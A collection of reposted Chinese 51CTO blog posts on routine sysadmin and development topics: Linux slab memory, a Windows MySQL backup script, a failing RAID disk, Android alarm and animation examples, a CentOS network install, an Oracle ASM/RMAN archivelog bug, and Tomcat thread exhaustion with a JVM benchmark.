什么是SReclaimable?在linux内核中会有许多小对象,这些对象构造销毁十分频繁,比如i-node,dentry。这么这些对象如果每次 构建的时候就向内存要一个页,而其实际大小可能只有几个字节,这样就非常浪费,为了解决这个问题就引入了一种新的机制来处理在同一页框中如何分配小存储器 区,这个机制可以减少申请和释放内存带来的消耗,这些小存储器区的内存称为Slab。meminfo文件中标识了Slab的大小,而 SReclaimable是指可收回Slab的大小。 本文转自pizibaidu 51CTO博客,原文链接:http://blog.51cto.com/pizibaidu/1686914,如需转载请自行联系原作者
并不是所有MySQL都运行在Linux下,windows下也需要做例行备份,下面是用bat脚本做自动化备份的例子,大家可以参考下。 rem rem C:\Program Files\WinRAR 需要放到 path 下,才能调用rar cli工具 rem rem 跳转到工作目录下 f: cd f:\DBBAK rem 设置变量:备份文件名 SET BAK_FILE=MY_DBBAK_%date:~0,-4%.sql rem 设置变量:日志文件名 SET LOG_FILE=MY_DBBAK.log rem 记录日志 echo "%date%" >> %LOG_FILE% rem 开始做备份 mysqldump --default-character-set=utf8 -hlocalhost -uroot -R --triggers --single-transaction -B mydb > %BAK_FILE% rem 压缩备份文件 rar a %BAK_FILE%.rar %BAK_FILE% rem 删除源文件 del /F %BAK_FILE% echo "%date%" >> %LOG_FILE% echo "" >> %LOG_FILE% 部署完脚本后,剩下的就是在系统中添加“计划任务”项目了。 本文转自叶金荣51CTO博客,原文链接:http://blog.51cto.com/imysql/1879727,如需转载请自行联系原作者
有一次在做MySQL数据库更新时,发现DML更新效率特别低,总能发现超过1秒的慢日志,一般很少会出现这种情况,初步判定为可能网络故障或者就是DB服务器自身的性能出现问题导致。 经过检查服务器状况,发现确实发生了硬件故障,主要是raid 10中的一块硬盘发生预警,信息如下: Physical Disk: 1 Enclosure Device ID: 32 Slot Number: 3 Device Id: 3 Sequence Number: 2Media Error Count: 650Other Error Count: 73Predictive Failure Count: 71Last Predictive Failure Event Seq Number: 6716 Raw Size: 140014MB [0x11177328 Sectors] Non Coerced Size: 139502MB [0x11077328 Sectors] Coerced Size: 139392MB [0x11040000 Sectors] Firmware state: Online SAS Address(0): 0x500000e11079e682 SAS Address(1): 0x0 Connected Port Number: 3(path0) Inquiry Data: FUJITSU MBA3147RC D306BLB5P9500H4M 大家注意下上面的信息,硬盘的状态还是 Online,并没有报错,但是另外2个 Error Count值从凌晨开始一直在较快速度增长。 再观察服务器的sar日志,发现从5点发起例行DB备份时,服务器的IO性能急剧下降,因此认定: 停服时存盘速度慢确实和一块硬盘发生预警有关系 由于发起DB备份,需要瞬间读取大量数据,因此需要扫描全部raid阵列中的硬盘,但其中一块盘的状态并没有标记为Failed或Offline, 因此raid阵列还是会去扫描它,导致IO性能特别差。这时候,如果我们把硬盘状态修改成Offline应该就可以避免这种问题,并且不会对raid 10产生丢数据的风险。 碰到类似现象需要谨慎,尽快安排更换备盘,防止问题扩大化。 本文转自叶金荣51CTO博客,原文链接:http://blog.51cto.com/imysql/1879740,如需转载请自行联系原作者
刚开始做东西得时候很不了解android中一些组件的应用方法,找了一个闹钟的小例子来更好的理解广播的接收. 应用程序的界面是这样的,这个例子是用闹钟的制定与解除来穿插broadcast Receiver 的知识,不说废话了,先看下应用程序的界面: 点击设定闹钟的按钮,弹出来一个设置时间的对话框,你选择时间之后会弹出一个Toast告诉你定的时间时多少,然后到时间之后弹出对话框提示时间到。先看图: 是一个小闹钟的完整过程,代码中关键的部分就是用到AlarmManager控制时间和PendingIntent 捕获要执行的广播,先贴代码再详细讲解代码。 1 mButton1.setOnClickListener(new View.OnClickListener() 2 { 3 public void onClick(View v) 4 { /* 取得按下按钮时的时间做为TimePickerDialog的默认值 */ 5 c.setTimeInMillis(System.currentTimeMillis()); 6 startCalendar.setTimeInMillis(System.currentTimeMillis()); 7 int mHour = c.get(Calendar.HOUR_OF_DAY); 8 int mMinute = c.get(Calendar.MINUTE); /* 跳出TimePickerDialog来设定时间 */ 9 new TimePickerDialog(SetAlarmActivity.this, 10 new TimePickerDialog.OnTimeSetListener() 11 { 12 public void onTimeSet(TimePicker view, int hourOfDay, 13 int minute) 14 { /* 取得设定后的时间,秒跟毫秒设为0 */ 15 c.setTimeInMillis(System.currentTimeMillis()); 16 c.set(Calendar.HOUR_OF_DAY, hourOfDay); 17 c.set(Calendar.MINUTE, minute); 18 c.set(Calendar.SECOND, 0); 19 c.set(Calendar.MILLISECOND, 0); 20 Intent intent = new Intent(SetAlarmActivity.this, 21 CallAlarm.class); 22 PendingIntent sender = PendingIntent.getBroadcast( 23 SetAlarmActivity.this, 0, intent, 0); 24 AlarmManager am; 25 am = (AlarmManager) getSystemService(ALARM_SERVICE); 26 am.set(AlarmManager.RTC_WAKEUP, c.getTimeInMillis(), 27 sender); /* 更新显示的设定闹钟时间 */ 28 String tmpS = format(hourOfDay) + ":" + format(minute); 29 setTime1.setText(tmpS); /* 以Toast提示设定已完成 */ 30 Toast.makeText(SetAlarmActivity.this, "设定闹钟时间为" + tmpS, 31 Toast.LENGTH_SHORT).show(); 32 33 } 34 }, mHour, mMinute, true).show(); 35 } 36 }); 代码中显示了当点击按钮之后所进行的代码处理,我们获得了设置的时间,然后用了一个Intent,用了一个pendIntent,这个PendIntent在捕获广播的时候才会启动,然后我们将这个PendIntent绑定到AlarmManager上面,有三个参数,一个是时间格式,一个是响铃的时间,一个是闹铃到期时启动sender这个PendIntent对象,然后启动绑定在PendIntent里面的intent,从而启动广播CallAlarm。 在广播接收器CallAlar中,并不是直接执行代码,广播接收器只有一个onReceive方法,在这个方法里面又启动了另外一个Activity。需要说明的是广播接收器是没有界面的. 1 package com.cz; /* import相关class */ 2 3 import android.content.Context; 4 import android.content.Intent; 5 import android.content.BroadcastReceiver; 6 import android.os.Bundle; /* 调用闹钟Alert的Receiver */ 7 8 public class CallAlarm extends BroadcastReceiver 9 { 10 @Override 11 public void onReceive(Context context, Intent intent) 12 { /* create Intent,调用AlarmAlert.class */ 13 Intent i = new Intent(context, AlarmAlert.class); 14 Bundle bundleRet = new Bundle(); 15 bundleRet.putString("STR_CALLER", ""); 16 i.putExtras(bundleRet); 17 i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 18 context.startActivity(i); 19 } 20 } 启动另外一个Activity,是弹出闹铃时间到时的提示对话框,看下代码: 1 package com.cz; /* import相关class */ 2 3 import android.app.Activity; 4 import android.app.AlertDialog; 5 import android.content.DialogInterface; 6 import android.os.Bundle; 7 8 public class AlarmAlert extends Activity 9 { 10 @Override 11 protected void onCreate(Bundle savedInstanceState) 12 { 13 super.onCreate(savedInstanceState); /* 跳出的闹铃警示 */ 14 new AlertDialog.Builder(AlarmAlert.this).setIcon(R.drawable.clock) 15 .setTitle("闹钟响了!!").setMessage("赶快起床吧!!!").setPositiveButton( 16 "关掉他", new DialogInterface.OnClickListener() 17 { 18 public void onClick(DialogInterface dialog, 19 int whichButton) 20 { /* 关闭Activity */ 21 AlarmAlert.this.finish(); 22 } 23 }).show(); 24 } 25 } 如果条件允许,还可以在响铃时加上震动,铃声等选项.. 本文转自HDDevTeam 51CTO博客,原文链接:http://blog.51cto.com/hddev/628428,如需转载请自行联系原作者
AlphaAnimation 控制渐变透明的动画效果 ScaleAnimation 控制尺寸伸缩的动画效果 TranslateAnimation 控制画面平移的动画效果 RotateAnimation 控制画面角度变化的动画效果 关于这四种动画所显示出来的效果,笔者将用代码讲述。读者可以把代码运行到自己的程序中,自己调试观看各个动画所表现出来的效果。 首先在Oncreate()里初始化四个动画效果 然后可以设置一个button控制动画的运行,在GridView布局里可以加一些小控件。 (为了演示效果)当点击Button按钮时,填写如下代码 这里 interpolator定义一个动画的变化率(the rate of change)。这使得基本的动画效果(alpha, scale, translate, rotate)得以加速,减速,重复等。(详细请阅读文档)AnimationSet这个类为animation的集合类。 本文转自HDDevTeam 51CTO博客,原文链接:http://blog.51cto.com/hddev/629641,如需转载请自行联系原作者
http安装centos 5.5系统: 1.下载netinstall.iso文件下面是地址:http://mirrors.163.com/centos/5.5/isos/i386/CentOS-5.5-i386-netinstall.iso //刻盘只要可以网络引导即可。 2.启动boot:linux text 用文本界面安装操作系统。 然后到了选择安装方式选择http如图所示。 3.设置dhcp动态主机配置协议,手动也可以. 4.本人选择手动ip如图所示。 5. 地址为mirrors.163.com 目录为/centos/5.5/os/i386 还有些地址可以网上搜索一下 6.下面 选择安装server版本的安装用包只选择了base最基本的包,网络安装花了10几分钟。 7.安装分区/boot 100m, /swap内存的两倍,剩余空间给/根文件 8.不要安装gui图形界面选择server,然后选择基本包base 9.安装好之后修改密码passwd。密码难点但是要记住哦 10.如果是dhcp获取ip用setup来设置静态ip这个方法比较简单也可以vi /etc/sysconfig/network-script/ifcfg-eth0 11..vi /etc/hosts.allow //允许的ip写入sshd:ip地址即可或者ALL:IP地址段即可 10.vi /etc/hosts.deny//拒绝所有sshd:ALL即可或者ALL:ALL 说明:/etc/hosts.allow和hosts.deny说明#服务进程名:主机列表:当规则匹配时可选的命令操作 server_name:hosts-list[:command] /etc/hosts.allow控制可以访问本机的IP地址,/etc/hosts.deny控制禁止访问本机的IP。如果两个文件的配置有冲突,以/etc/hosts.deny为准。 11.远程连接ssh要把iptalbes中的selinux关闭。 本文转自zh888 51CTO博客,原文链接:http://blog.51cto.com/zh888/380118,如需转载请自行联系原作者
抱歉上文编辑不下,才续写此文 可为什么该目录会丢失呢,原因是因为ORACLE的BUG,且看故障元凶:Bug 4431215的定位过程,看如下三个日志,节点1在归档到8211发生错误,节点2在归档到6852发生错误,而1点钟有个RMAN定时JOB发起2级备份,备份后会删除归档日志,从RMAN日志可以看出,最大的备份号分别为8210和6851,这和节点ALERT日志是完全一致的,可见在RMAN备份后归档便发生了错误,而RMAN备份后的瞬间,归档目录是空的,这难免让人想到ORACLE在ASM环境下的一个BUG:“在ASM上建立的目录名称和SID前缀相同,则这个目录下的所有目录一旦为空,就会被ASM实例自动删除,不管这个目录是ASM自动建立,还是用户手工建立的。”。登陆ORACLE官方站点确认有该BUG:“Bug 4431215 - "backup archivelog all delete input" from RMAN removes ASM directory [ID 4431215.8]”,至此故障调查完成。 节点1日志: Wed Jul 13 01:22:55 2011 Thread 1 advanced to log sequence 8210 (LGWR switch) Current log# 2 seq# 8210 mem# 0: +DATA/port/onlinelog/group_2.264.697238179 Current log# 2 seq# 8210 mem# 1: +DATA/port/onlinelog/group_2.265.697238179 Wed Jul 13 01:23:00 2011 ALTER SYSTEM ARCHIVE LOG Wed Jul 13 01:23:01 2011 Thread 1 cannot allocate new log, sequence 8211 Checkpoint not complete Current log# 2 seq# 8210 mem# 0: +DATA/port/onlinelog/group_2.264.697238179 Current log# 2 seq# 8210 mem# 1: +DATA/port/onlinelog/group_2.265.697238179 节点2日志: Wed Jul 13 01:20:27 2011 Thread 2 advanced to log sequence 6851 (LGWR switch) Current log# 3 seq# 6851 mem# 0: +DATA/port/onlinelog/group_3.268.697238217 Current log# 3 seq# 6851 mem# 1: +DATA/port/onlinelog/group_3.269.697238219 Thread 2 cannot allocate new log, sequence 6852 Checkpoint not complete Current log# 3 seq# 6851 mem# 0: +DATA/port/onlinelog/group_3.268.697238217 Current log# 3 seq# 6851 mem# 1: +DATA/port/onlinelog/group_3.269.697238219 Wed Jul 13 01:20:36 2011 Thread 2 advanced to log sequence 6852 (LGWR switch) Current log# 4 seq# 6852 mem# 0: +DATA/port/onlinelog/group_4.270.697238219 Current log# 4 seq# 6852 mem# 1: +DATA/port/onlinelog/group_4.271.697238221 故障发生前的RMAN备份日志,备份完成后删除备份的归档日志: channel d1: specifying archive log(s) in backup set input archive log thread=1 sequence=8180 recid=22515 stamp=756327382 input archive log thread=1 sequence=8181 recid=22516 stamp=756327390 input archive log thread=1 sequence=8182 recid=22517 stamp=756327399 input archive log thread=1 sequence=8183 recid=22519 stamp=756327406 input archive log thread=1 sequence=8184 recid=22520 stamp=756327418 input archive log thread=1 sequence=8185 recid=22521 stamp=756327426 input archive log thread=1 sequence=8186 recid=22522 stamp=756327434 input archive log thread=1 sequence=8187 recid=22524 stamp=756327443 input archive log thread=1 sequence=8188 recid=22525 stamp=756327453 input archive log thread=1 sequence=8189 recid=22527 stamp=756327462 input archive log thread=1 sequence=8190 recid=22528 stamp=756327469 input archive log thread=1 sequence=8191 recid=22529 stamp=756327477 input archive log thread=1 sequence=8192 recid=22531 stamp=756327488 input archive log thread=1 sequence=8193 recid=22532 stamp=756327496 input archive log thread=1 sequence=8194 recid=22533 stamp=756327505 input archive log thread=1 sequence=8195 recid=22535 stamp=756327514 input archive log thread=1 sequence=8196 recid=22536 stamp=756327523 input archive log thread=1 sequence=8197 recid=22537 stamp=756327538 input archive log thread=1 sequence=8198 recid=22538 stamp=756327653 input archive log thread=1 sequence=8199 recid=22540 stamp=756327664 input archive log thread=1 sequence=8200 recid=22541 stamp=756327673 input archive log thread=1 sequence=8201 recid=22543 stamp=756327686 input archive log thread=1 sequence=8202 recid=22544 stamp=756327695 input archive log thread=1 sequence=8203 recid=22545 stamp=756327704 input archive log thread=1 sequence=8204 recid=22547 stamp=756327717 input archive log thread=1 sequence=8205 recid=22548 stamp=756329007 input archive log thread=1 sequence=8206 recid=22549 stamp=756338512 input archive log thread=1 sequence=8207 recid=22551 stamp=756343058 input archive log thread=1 sequence=8208 recid=22552 stamp=756345806 input archive log thread=1 sequence=8209 recid=22553 stamp=756350578 input archive log thread=1 sequence=8210 recid=22555 stamp=756350584 input archive log thread=2 sequence=6800 recid=22340 stamp=756264103 input archive log thread=2 sequence=6801 recid=22345 stamp=756265938 input archive log thread=2 sequence=6802 recid=22356 stamp=756266232 input archive log thread=2 sequence=6803 recid=22357 stamp=756266255 input archive log thread=2 sequence=6804 recid=22359 stamp=756266260 input archive log thread=2 sequence=6805 recid=22362 stamp=756266269 input archive log thread=2 sequence=6806 recid=22363 stamp=756266272 input archive log thread=2 sequence=6807 recid=22365 stamp=756266287 input archive log thread=2 sequence=6808 recid=22369 stamp=756267485 input archive log thread=2 sequence=6809 recid=22376 stamp=756291174 input archive log thread=2 sequence=6810 recid=22380 stamp=756293726 input archive log thread=2 sequence=6811 recid=22386 stamp=756299397 input archive log thread=2 sequence=6812 recid=22390 stamp=756311219 input archive log thread=2 sequence=6813 recid=22396 stamp=756313749 input archive log thread=2 sequence=6814 recid=22402 stamp=756316744 input archive log thread=2 sequence=6815 recid=22406 stamp=756319318 input archive log thread=2 sequence=6816 recid=22412 stamp=756325509 input archive log thread=2 sequence=6817 recid=22415 stamp=756326651 input archive log thread=2 sequence=6818 recid=22420 stamp=756326683 input archive log thread=2 sequence=6819 recid=22425 stamp=756326710 input archive log thread=2 sequence=6820 recid=22428 stamp=756326732 input archive log thread=2 sequence=6821 recid=22433 stamp=756326756 input archive log thread=2 sequence=6822 recid=22438 stamp=756326780 input archive log thread=2 sequence=6823 recid=22441 stamp=756326801 input archive log thread=2 sequence=6824 recid=22445 stamp=756326823 input archive log thread=2 sequence=6825 recid=22450 stamp=756326850 input archive log thread=2 sequence=6826 recid=22455 stamp=756326878 input archive log thread=2 sequence=6827 recid=22460 stamp=756326905 input archive log thread=2 sequence=6828 recid=22464 stamp=756326930 input archive log thread=2 sequence=6829 recid=22468 stamp=756326951 input archive log thread=2 sequence=6830 recid=22472 stamp=756326969 input archive log thread=2 sequence=6831 recid=22477 stamp=756326991 input archive log thread=2 sequence=6832 recid=22481 stamp=756327012 channel d1: starting piece 1 at 13-JUL-11 channel d1: finished piece 1 at 13-JUL-11 piece handle=/u01/rmanbak/arch_ZJPORT_1hmha00r_1_1 tag=BKARCH comment=NONE channel d1: backup set complete, elapsed time: 00:03:17 channel d1: deleting archive log(s) archive log filename=+DATA/zjport/archivelog/1_8180_697238176.dbf recid=22515 stamp=756327382 archive log filename=+DATA/zjport/archivelog/1_8181_697238176.dbf recid=22516 stamp=756327390 archive log filename=+DATA/zjport/archivelog/1_8182_697238176.dbf recid=22517 stamp=756327399 archive log filename=+DATA/zjport/archivelog/1_8183_697238176.dbf recid=22519 stamp=756327406 archive log filename=+DATA/zjport/archivelog/1_8184_697238176.dbf recid=22520 stamp=756327418 archive log filename=+DATA/zjport/archivelog/1_8185_697238176.dbf recid=22521 stamp=756327426 archive log filename=+DATA/zjport/archivelog/1_8186_697238176.dbf recid=22522 stamp=756327434 archive log filename=+DATA/zjport/archivelog/1_8187_697238176.dbf recid=22524 stamp=756327443 archive log filename=+DATA/zjport/archivelog/1_8188_697238176.dbf recid=22525 stamp=756327453 archive log filename=+DATA/zjport/archivelog/1_8189_697238176.dbf recid=22527 stamp=756327462 archive log filename=+DATA/zjport/archivelog/1_8190_697238176.dbf recid=22528 stamp=756327469 archive log filename=+DATA/zjport/archivelog/1_8191_697238176.dbf recid=22529 stamp=756327477 archive log filename=+DATA/zjport/archivelog/1_8192_697238176.dbf recid=22531 stamp=756327488 archive log filename=+DATA/zjport/archivelog/1_8193_697238176.dbf recid=22532 stamp=756327496 archive log filename=+DATA/zjport/archivelog/1_8194_697238176.dbf recid=22533 stamp=756327505 archive log filename=+DATA/zjport/archivelog/1_8195_697238176.dbf recid=22535 stamp=756327514 archive log filename=+DATA/zjport/archivelog/1_8196_697238176.dbf recid=22536 stamp=756327523 archive log filename=+DATA/zjport/archivelog/1_8197_697238176.dbf recid=22537 stamp=756327538 archive log filename=+DATA/zjport/archivelog/1_8198_697238176.dbf recid=22538 stamp=756327653 archive log filename=+DATA/zjport/archivelog/1_8199_697238176.dbf recid=22540 stamp=756327664 archive log filename=+DATA/zjport/archivelog/1_8200_697238176.dbf recid=22541 stamp=756327673 archive log filename=+DATA/zjport/archivelog/1_8201_697238176.dbf recid=22543 stamp=756327686 archive log filename=+DATA/zjport/archivelog/1_8202_697238176.dbf recid=22544 stamp=756327695 archive log filename=+DATA/zjport/archivelog/1_8203_697238176.dbf recid=22545 stamp=756327704 archive log filename=+DATA/zjport/archivelog/1_8204_697238176.dbf recid=22547 stamp=756327717 archive log filename=+DATA/zjport/archivelog/1_8205_697238176.dbf recid=22548 stamp=756329007 archive log filename=+DATA/zjport/archivelog/1_8206_697238176.dbf recid=22549 stamp=756338512 archive log filename=+DATA/zjport/archivelog/1_8207_697238176.dbf recid=22551 stamp=756343058 archive log filename=+DATA/zjport/archivelog/1_8208_697238176.dbf recid=22552 stamp=756345806 archive log filename=+DATA/zjport/archivelog/1_8209_697238176.dbf recid=22553 stamp=756350578 archive log filename=+DATA/zjport/archivelog/1_8210_697238176.dbf recid=22555 stamp=756350584=======节点1的归档备份到8210 archive log filename=+DATA/zjport/archivelog/2_6800_697238176.dbf recid=22340 stamp=756264103 archive log filename=+DATA/zjport/archivelog/2_6801_697238176.dbf recid=22345 stamp=756265938 archive log filename=+DATA/zjport/archivelog/2_6802_697238176.dbf recid=22356 stamp=756266232 archive log filename=+DATA/zjport/archivelog/2_6803_697238176.dbf recid=22357 stamp=756266255 archive log filename=+DATA/zjport/archivelog/2_6804_697238176.dbf recid=22359 stamp=756266260 archive log filename=+DATA/zjport/archivelog/2_6805_697238176.dbf recid=22362 stamp=756266269 archive log filename=+DATA/zjport/archivelog/2_6806_697238176.dbf recid=22363 stamp=756266272 archive log filename=+DATA/zjport/archivelog/2_6807_697238176.dbf recid=22365 stamp=756266287 archive log filename=+DATA/zjport/archivelog/2_6808_697238176.dbf recid=22369 stamp=756267485 archive log filename=+DATA/zjport/archivelog/2_6809_697238176.dbf recid=22376 stamp=756291174 archive log filename=+DATA/zjport/archivelog/2_6810_697238176.dbf recid=22380 stamp=756293726 archive log filename=+DATA/zjport/archivelog/2_6811_697238176.dbf recid=22386 stamp=756299397 archive log filename=+DATA/zjport/archivelog/2_6812_697238176.dbf recid=22390 stamp=756311219 archive log filename=+DATA/zjport/archivelog/2_6813_697238176.dbf recid=22396 stamp=756313749 archive log filename=+DATA/zjport/archivelog/2_6814_697238176.dbf recid=22402 stamp=756316744 archive log filename=+DATA/zjport/archivelog/2_6815_697238176.dbf recid=22406 stamp=756319318 archive log filename=+DATA/zjport/archivelog/2_6816_697238176.dbf recid=22412 stamp=756325509 archive log filename=+DATA/zjport/archivelog/2_6817_697238176.dbf recid=22415 stamp=756326651 archive log filename=+DATA/zjport/archivelog/2_6818_697238176.dbf recid=22420 stamp=756326683 archive log filename=+DATA/zjport/archivelog/2_6819_697238176.dbf recid=22425 stamp=756326710 archive log filename=+DATA/zjport/archivelog/2_6820_697238176.dbf recid=22428 stamp=756326732 archive log filename=+DATA/zjport/archivelog/2_6821_697238176.dbf recid=22433 stamp=756326756 archive log filename=+DATA/zjport/archivelog/2_6822_697238176.dbf recid=22438 stamp=756326780 archive log filename=+DATA/zjport/archivelog/2_6823_697238176.dbf recid=22441 stamp=756326801 archive log filename=+DATA/zjport/archivelog/2_6824_697238176.dbf recid=22445 stamp=756326823 archive log filename=+DATA/zjport/archivelog/2_6825_697238176.dbf recid=22450 stamp=756326850 archive log filename=+DATA/zjport/archivelog/2_6826_697238176.dbf recid=22455 stamp=756326878 archive log filename=+DATA/zjport/archivelog/2_6827_697238176.dbf recid=22460 stamp=756326905 archive log filename=+DATA/zjport/archivelog/2_6828_697238176.dbf recid=22464 stamp=756326930 archive log filename=+DATA/zjport/archivelog/2_6829_697238176.dbf recid=22468 stamp=756326951 archive log filename=+DATA/zjport/archivelog/2_6830_697238176.dbf recid=22472 stamp=756326969 archive log filename=+DATA/zjport/archivelog/2_6831_697238176.dbf recid=22477 stamp=756326991 archive log filename=+DATA/zjport/archivelog/2_6832_697238176.dbf recid=22481 stamp=756327012 channel d1: starting compressed archive log backupset channel d1: specifying archive log(s) in backup set input archive log thread=2 sequence=6833 recid=22484 stamp=756327033 input archive log thread=2 sequence=6834 recid=22488 stamp=756327058 input archive log thread=2 sequence=6835 recid=22492 stamp=756327082 input archive log thread=2 sequence=6836 recid=22497 stamp=756327112 input archive log thread=2 sequence=6837 recid=22501 stamp=756327145 input archive log thread=2 sequence=6838 recid=22505 stamp=756327170 input archive log thread=2 sequence=6839 recid=22510 stamp=756327198 input archive log thread=2 sequence=6840 recid=22513 stamp=756327222 input archive log thread=2 sequence=6841 recid=22518 stamp=756327253 input archive log thread=2 sequence=6842 recid=22523 stamp=756327287 input archive log thread=2 sequence=6843 recid=22526 stamp=756327311 input archive log thread=2 sequence=6844 recid=22530 stamp=756327336 input archive log thread=2 sequence=6845 recid=22534 stamp=756327363 input archive log thread=2 sequence=6846 recid=22539 stamp=756327505 input archive log thread=2 sequence=6847 recid=22542 stamp=756327535 input archive log thread=2 sequence=6848 recid=22546 stamp=756327566 input archive log thread=2 sequence=6849 recid=22550 stamp=756341841 input archive log thread=2 sequence=6850 recid=22554 stamp=756350429 input archive log thread=2 sequence=6851 recid=22556 stamp=756350436 channel d1: starting piece 1 at 13-JUL-11 channel d1: finished piece 1 at 13-JUL-11 piece handle=/u01/rmanbak/arch_ZJPORT_1imha073_1_1 tag=BKARCH comment=NONE channel d1: backup set complete, elapsed time: 00:00:16 channel d1: deleting archive log(s) archive log filename=+DATA/zjport/archivelog/2_6833_697238176.dbf recid=22484 stamp=756327033 archive log filename=+DATA/zjport/archivelog/2_6834_697238176.dbf recid=22488 stamp=756327058 archive log filename=+DATA/zjport/archivelog/2_6835_697238176.dbf recid=22492 stamp=756327082 archive log filename=+DATA/zjport/archivelog/2_6836_697238176.dbf recid=22497 stamp=756327112 archive log filename=+DATA/zjport/archivelog/2_6837_697238176.dbf recid=22501 stamp=756327145 archive log filename=+DATA/zjport/archivelog/2_6838_697238176.dbf recid=22505 stamp=756327170 archive log filename=+DATA/zjport/archivelog/2_6839_697238176.dbf recid=22510 stamp=756327198 archive log filename=+DATA/zjport/archivelog/2_6840_697238176.dbf recid=22513 stamp=756327222 archive log filename=+DATA/zjport/archivelog/2_6841_697238176.dbf recid=22518 stamp=756327253 archive log filename=+DATA/zjport/archivelog/2_6842_697238176.dbf recid=22523 stamp=756327287 archive log filename=+DATA/zjport/archivelog/2_6843_697238176.dbf recid=22526 stamp=756327311 archive log filename=+DATA/zjport/archivelog/2_6844_697238176.dbf recid=22530 stamp=756327336 archive log filename=+DATA/port/archivelog/2_6845_697238176.dbf recid=22534 stamp=756327363 archive log filename=+DATA/port/archivelog/2_6846_697238176.dbf recid=22539 stamp=756327505 archive log filename=+DATA/port/archivelog/2_6847_697238176.dbf recid=22542 stamp=756327535 archive log filename=+DATA/port/archivelog/2_6848_697238176.dbf recid=22546 stamp=756327566 archive log filename=+DATA/port/archivelog/2_6849_697238176.dbf recid=22550 stamp=756341841 archive log filename=+DATA/port/archivelog/2_6850_697238176.dbf recid=22554 stamp=756350429 archive log filename=+DATA/port/archivelog/2_6851_697238176.dbf recid=22556 stamp=756350436==========节点2的归档备份到8210 Finished backup at 13-JUL-11 released channel: d1 executing global script: global_bkctl allocated channel: d1 channel d1: sid=906 instance=port1 devtype=DISK Starting backup at 13-JUL-11 channel d1: starting compressed full datafile backupset channel d1: specifying datafile(s) in backupset including current control file in backupset channel d1: starting piece 1 at 13-JUL-11 channel d1: finished piece 1 at 13-JUL-11 piece handle=/u01/rmanbak/backupctl.ctl tag=BKCTL comment=NONE channel d1: backup set complete, elapsed time: 00:00:02 Finished backup at 13-JUL-11 released channel: d1 Recovery Manager complete. 事实上只要处理时间稍微充裕那么一点,我们不难发现更简便的方法,通过ASMCMD直接创建丢失的archivelog目录就可以了。 我们最后的处理: 通过ASMCDM在+DATA下新建了archivelog目录,然后在此目录下新建子目录,为什么不建立文件(因为笔者没有找到10G ASM下建文件的命令,如果有人知道,烦请指导,谢谢) 本文转自zylhsy 51CTO博客,原文链接:http://blog.51cto.com/yunlongzheng/610658,如需转载请自行联系原作者
最近因为滚石可乐网站的Tomcat进程每运行四五天后进程就退出,查找问题的同时也学习了JVM的相关知识。先总结如下: 首先我采用VisualVM来跟踪内存使用,线程的变化等等,现贴出几张图来直观的认识一下: JVM内存分代示意图: 线程示意图: 根据上图显示,我想应该是线程开启后没有关闭,造成的开启线程数不断增多导致native内存不够,从而报这样的错误。 2010-4-16 9:55:28 org.apache.tomcat.util.net.AprEndpoint$Acceptor run 严重: Socket accept failed java.lang.OutOfMemoryError: unable to create new native thread at java.lang.Thread.start0(Native Method) at java.lang.Thread.start(Thread.java:597) at org.apache.tomcat.util.net.AprEndpoint$Worker.start(AprEndpoint.java:1307) at org.apache.tomcat.util.net.AprEndpoint.newWorkerThread(AprEndpoint.java:914) at org.apache.tomcat.util.net.AprEndpoint.createWorkerThread(AprEndpoint.java:893) at org.apache.tomcat.util.net.AprEndpoint.getWorkerThread(AprEndpoint.java:925) at org.apache.tomcat.util.net.AprEndpoint$Acceptor.run(AprEndpoint.java:1005) at java.lang.Thread.run(Thread.java:619) 我说一下我的生产机的环境: OS:windows2003 32位企业版 JVM: C:\Documents and Settings\actop&gt;java -version java version "1.6.0_05" Java(TM) SE Runtime Environment (build 1.6.0_05-b13) Java HotSpot(TM) Client VM (build 10.0-b19, mixed mode, sharing) Tomcat版本:tomcat-5.5.23 catalina.bat里面的设置: set JAVA_OPTS=-server -XX:+UseConcMarkSweepGC -Djava.awt.headless=true -Xms1400m -Xmx1400m -XX:NewSize=48m -XX:MaxNewSize=128m -XX:PermSize=128m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true set CATALINA_OPTS=%CATALINA_OPTS% -Dorg.apache.jasper.runtime.BodyContentImpl.LIMIT_BUFFER=true 这个问题我们开发组查程序,然后把这个bug解决掉而收场,在查找问题的过程中,学习了大量的知识,总结一下。 首先介绍一款JVM测试工具VOLANO Benchmark(http://www.volano.com/benchmarks.html),下面我将在CentOS5.4下进行软件的安装,首先下载程序: [root@hadoop5 ~]# wget -c http://www.volano.com/files/volano_benchmark_2_9_0.class 然后进入GUI界面,安装此程序:(不进入GUI界面安装方式:java volano-benchmark-2.9.0 -o /usr/local/volano-benchmark/) [root@hadoop5 ~]# java volano-benchmark-2.9.0 然后程序启动自己的图形界面进行安装,我们下一步下一步就会安装完毕。我们进入volano-benchmark-2.9.0目录修改startup.sh [root@hadoop5 ~]#vi startup.sh 输入 :set nu来显示行号 第86行: ulimit –Sn 10240 àulimit –Hn 10240, 复制从98行到106行,修改成你的jdk路径,参数自己设定,比如我就添加了下面这一段: sunjdk) java=/usr/local/jdk1.6.0_19/bin/java if [ "$1" = "loop" ] then options="-server -Xmx64m" else options="-server -Xmx256m -Xss128k" fi ;; 然后保存退出 这样就不抱错了。但是用它干什么就不知道了。 然后下载volano_2_9_0.class ,安装方式和volano-benchmark一样: 在startup.sh中修改JDK路径:如下图: 把java=修改为自己的jdk路径 然后运行startup.sh 我们可以通过http://192.168.0.20:8080/vcclient/index.html访问到一个页面(ip地址是运行volano的ip地址)然后点击来运行聊天室。来测试JVM性能,至于以后的东西,我就不知道怎么弄了,我刚才给Javaeye的站长发了封站内短信,期待他能回答我接下来怎么做吧。当然大家谁知道,也可以告诉兄弟。不胜感激。我也不会停止尝试。 JVM:现在流行的JVM有不少,经常见的有SUN 的HotSpot。IBM的JDK,和BEA的JRockit。等我会怎么测试了我就把他们的测试结果贴出来,给大家分享。下面我就说说Sun HotSpot的内存调优,同时说一下我对visualvm和HeapAnalyzer的应用理解 本文转自guoli0813 51CTO博客,原文链接:http://blog.51cto.com/guoli0813/301013,如需转载请自行联系原作者
